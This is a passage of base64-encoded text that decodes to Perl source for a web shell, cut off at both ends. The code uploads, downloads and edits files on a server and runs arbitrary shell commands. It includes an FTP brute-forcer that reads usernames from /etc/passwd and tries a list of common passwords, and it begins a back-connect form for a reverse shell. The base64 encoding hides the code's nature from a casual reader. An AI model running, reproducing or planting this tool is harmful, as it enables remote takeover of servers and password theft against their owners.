vYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9i